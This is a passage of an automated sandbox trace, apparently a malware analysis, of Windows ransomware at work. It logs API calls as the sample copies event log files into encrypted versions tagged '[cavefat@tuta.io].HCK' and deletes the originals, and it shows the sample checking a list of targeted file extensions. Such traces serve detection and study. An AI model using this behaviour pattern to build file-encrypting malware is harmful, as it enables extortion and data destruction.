lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0157.123] ReadFile (in: hFile=0x384, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.123] WriteFile (in: hFile=0x380, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x130, lpOverlapped=0x0) returned 1 [0157.124] SetEndOfFile (hFile=0x380) returned 1 [0157.124] CloseHandle (hObject=0x380) returned 1 [0157.126] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.126] SetEndOfFile (hFile=0x384) returned 1 [0157.127] CloseHandle (hObject=0x384) returned 1 [0157.127] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0157.127] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0157.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.511] lstrlenW (lpString=".doc") returned 4 [0157.511] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".docx") returned 5 [0157.511] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.511] lstrlenW (lpString=".pdf") returned 4 [0157.511] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".xls") returned 4 [0157.511] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".xlsx") returned 5 [0157.511] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.511] lstrlenW (lpString=".ppt") returned 4 [0157.511] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.511] lstrlenW (lpString=".zip") returned 4 [0157.511] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".rar") returned 4 [0157.511] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".bz2") returned 4 [0157.511] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString=".7z") returned 3 [0157.511] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.511] lstrlenW (lpString=".dbf") returned 4 [0157.511] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.511] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.511] lstrlenW (lpString=".1cd") returned 4 [0157.511] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".jpg") returned 4 [0157.512] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".doc") returned 4 [0157.512] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".docx") returned 5 [0157.512] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0157.512] lstrlenW (lpString=".pdf") returned 4 [0157.512] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".xls") returned 4 [0157.512] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".xlsx") returned 5 [0157.512] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0157.512] lstrlenW (lpString=".ppt") returned 4 [0157.512] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".zip") returned 4 [0157.512] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".rar") returned 4 [0157.512] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".bz2") returned 4 [0157.512] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString=".7z") returned 3 [0157.512] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".dbf") returned 4 [0157.512] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".1cd") returned 4 [0157.512] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0157.512] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0157.512] lstrlenW (lpString=".jpg") returned 4 [0157.512] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0157.512] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0157.512] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0157.512] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.189] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0158.189] CloseHandle (hObject=0x364) returned 1 [0158.189] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0158.189] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.189] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.189] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.189] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.189] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.190] GetLastError () returned 0x0 [0158.190] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0158.192] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0158.193] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.193] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x12c, lpOverlapped=0x0) returned 1 [0158.193] SetEndOfFile (hFile=0x2e8) returned 1 [0158.193] CloseHandle (hObject=0x2e8) returned 1 [0158.195] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.195] SetEndOfFile (hFile=0x364) returned 1 [0158.196] CloseHandle (hObject=0x364) returned 1 [0158.196] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.196] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".doc") returned 4 [0158.197] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".docx") returned 5 [0158.197] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.197] lstrlenW (lpString=".pdf") returned 4 [0158.197] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".xls") returned 4 [0158.197] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".xlsx") returned 5 [0158.197] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.197] lstrlenW (lpString=".ppt") returned 4 [0158.197] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".zip") returned 4 [0158.197] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".rar") returned 4 [0158.197] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".bz2") returned 4 [0158.197] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".7z") returned 3 [0158.197] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".dbf") returned 4 [0158.197] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".1cd") returned 4 [0158.197] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".jpg") returned 4 [0158.197] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.197] lstrlenW (lpString=".doc") returned 4 [0158.197] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".docx") returned 5 [0158.197] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.197] lstrlenW (lpString=".pdf") returned 4 [0158.197] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".xls") returned 4 [0158.197] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.197] lstrlenW (lpString=".xlsx") returned 5 [0158.197] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.197] lstrlenW (lpString=".ppt") returned 4 [0158.197] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.198] lstrlenW (lpString=".zip") returned 4 [0158.198] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString=".rar") returned 4 [0158.198] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString=".bz2") returned 4 [0158.198] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString=".7z") returned 3 [0158.198] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.198] lstrlenW (lpString=".dbf") returned 4 [0158.198] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.198] lstrlenW (lpString=".1cd") returned 4 [0158.198] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0158.198] lstrlenW (lpString=".jpg") returned 4 [0158.198] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.198] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.198] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0158.198] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.198] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0158.198] CloseHandle (hObject=0x364) returned 1 [0158.199] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0158.199] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.199] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.199] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.200] GetLastError () returned 0x0 [0158.200] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0158.202] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0158.203] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.203] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x178, lpOverlapped=0x0) returned 1 [0158.203] SetEndOfFile (hFile=0x2e8) returned 1 [0158.203] CloseHandle (hObject=0x2e8) returned 1 [0158.205] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.205] SetEndOfFile (hFile=0x364) returned 1 [0158.206] CloseHandle (hObject=0x364) returned 1 [0158.206] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0158.206] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0158.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.206] lstrlenW (lpString=".doc") returned 4 [0158.207] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".docx") returned 5 [0158.207] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.207] lstrlenW (lpString=".pdf") returned 4 [0158.207] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".xls") returned 4 [0158.207] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".xlsx") returned 5 [0158.207] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.207] lstrlenW (lpString=".ppt") returned 4 [0158.207] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString=".zip") returned 4 [0158.207] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".rar") returned 4 [0158.207] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".bz2") returned 4 [0158.207] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".7z") returned 3 [0158.207] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString=".dbf") returned 4 [0158.207] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString=".1cd") returned 4 [0158.207] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString=".jpg") returned 4 [0158.207] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.207] lstrlenW (lpString=".doc") returned 4 [0158.207] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".docx") returned 5 [0158.207] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0158.207] lstrlenW (lpString=".pdf") returned 4 [0158.207] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".xls") returned 4 [0158.207] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString=".xlsx") returned 5 [0158.207] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0158.207] lstrlenW (lpString=".ppt") returned 4 [0158.207] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0158.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.208] lstrlenW (lpString=".zip") returned 4 [0158.208] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0158.208] lstrlenW (lpString=".rar") returned 4 [0158.208] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0158.208] lstrlenW (lpString=".bz2") returned 4 [0158.208] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0158.208] lstrlenW (lpString=".7z") returned 3 [0158.208] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0158.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.208] lstrlenW (lpString=".dbf") returned 4 [0158.208] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0158.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.208] lstrlenW (lpString=".1cd") returned 4 [0158.208] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0158.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0158.208] lstrlenW (lpString=".jpg") returned 4 [0158.208] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0158.208] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0158.208] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0158.208] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.209] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1052672) returned 1 [0158.209] CloseHandle (hObject=0x364) returned 1 [0158.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0158.209] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.209] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.209] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.209] GetLastError () returned 0x0 [0158.209] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0158.228] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0158.685] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x1010, lpOverlapped=0x0) returned 1 [0158.691] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x1020, lpOverlapped=0x0) returned 1 [0158.693] ReadFile (in: hFile=0x364, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.694] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x164, lpOverlapped=0x0) returned 1 [0158.694] SetEndOfFile 